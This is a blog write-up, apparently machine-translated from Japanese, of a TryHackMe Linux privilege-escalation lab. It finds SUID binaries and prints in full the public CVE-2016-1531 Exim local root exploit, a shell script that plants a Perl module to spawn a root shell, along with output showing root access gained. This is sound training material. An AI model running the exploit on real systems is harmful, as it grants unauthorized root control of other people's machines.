[CVE-2016-1531] We tried to escalate privileges using the vulnerability in Exim 4.84.3. TryHackMe Linux PrivEsc Writeup Part 6

[CVE-2016-1531] We tried to escalate privileges using the vulnerability in Exim 4.84.3. TryHackMe Linux PrivEsc Writeup Part 6

This time, we will try "CVE-2016-1531 Elevation of privileges using the vulnerability in Exim 484.3."
The target machine uses the Room below of TryHackMe.
"TryHackMe-Linux PrivEsc: https://tryhackme.com/room/linuxprivesc "

This article is part 6.
If you would like to check Writeup for Linux PrivEsc with TryHackMe, please also check Privilege Elevation Using Cron Jobs

Please note that the explanation is spoilers.

Recommended reference books
Author: IPUSIRON
¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
Author: IPUSIRON
¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo
¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
table of contents

Preparation

First, start the target machine.
If you are using TryHackMe, select "Start Machine."

If the IP Address is displayed as shown below, you can start it!

This time, the privilege escalation will occur after you have been able to connect to the target machine, so check to the point where you can connect via SSH.

┌──(hacklab㉿hacklab)-[~] └─$ ssh user@10.10.52.40 user@10.10.52.40's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 9 08:54:59 2023 from ip-10-18-110-90.eu-west-1.compute.internal user@debian:~$

Once you have access, advance preparation is complete.

CVE-2016-1531 Privilege Elevation Using Vulnerability in Exim 484.3

Once you've come this far, try actually elevating your privileges.

What is SUID/SGID?

CVE-2016-1531 uses the SUID/SGID mechanism.
First, let's briefly understand SUIDs and SGIDs.

  • UID: In Linux, users are managed by an ID number called a UID.
  • SUID: If you have execution permission, when a file is executed, it will be executed with the owner's permissions.
  • SGID: If you have execution permission, when a file is executed, it will be executed with the permissions of the group owned by the file.

Find vulnerabilities

So let's start by looking for vulnerabilities.
We'll look for a SUID/SGID executable.

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn -rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs

Don't miss "/usr/sbin/exim-4.84-3" in the list of files that can be executable with SUID/SGID.

Next, check the "exim-4.48-3" vulnerability in Exploit-DB

I think we've found out that "cve-2016-1531" will be a hit on Exploit-DB.
Once you've come this far, all you have to do is run the shell listed in Exploit-DB.

CVE-2016-1531 Elevation of privilege using Exim 484.3

Now let's create the shell listed in Exploit-DB on the target machine.
For TryHackMe, it has already been created below.

user@debian:~$ cat /home/user/tools/suid/exim/cve-2016-1531.sh #!/bin/sh # CVE-2016-1531 exim <= 4.84-3 local root exploit # ==== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # eg # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF package root; use strict; use warnings; system("/bin/sh"); EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

Finally, just run the shell you created.

user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh [ CVE-2016-1531 local root exploit sh-4.1# whoami root

I was able to successfully obtain root privileges.

summary

This time, we tried "CVE-2016-1531 Elevation of privileges using the vulnerability in Exim 484.3."
Once you've done the reconnaissance, you just have to execute the contents mentioned in Exploit-DB, so it was easy.

That said, you'll notice when you're actually scouting. . . I felt that there was still more to learn.

References and Sites

--

Share if you like!

Who wrote this article

This is a blog I started to study information security. As a new employee, I would be happy if you could look with a broad heart.
There is also Teech Lab, which is an opportunity to study programming fun, so if you are interested in software development, be sure to take a look!

table of contents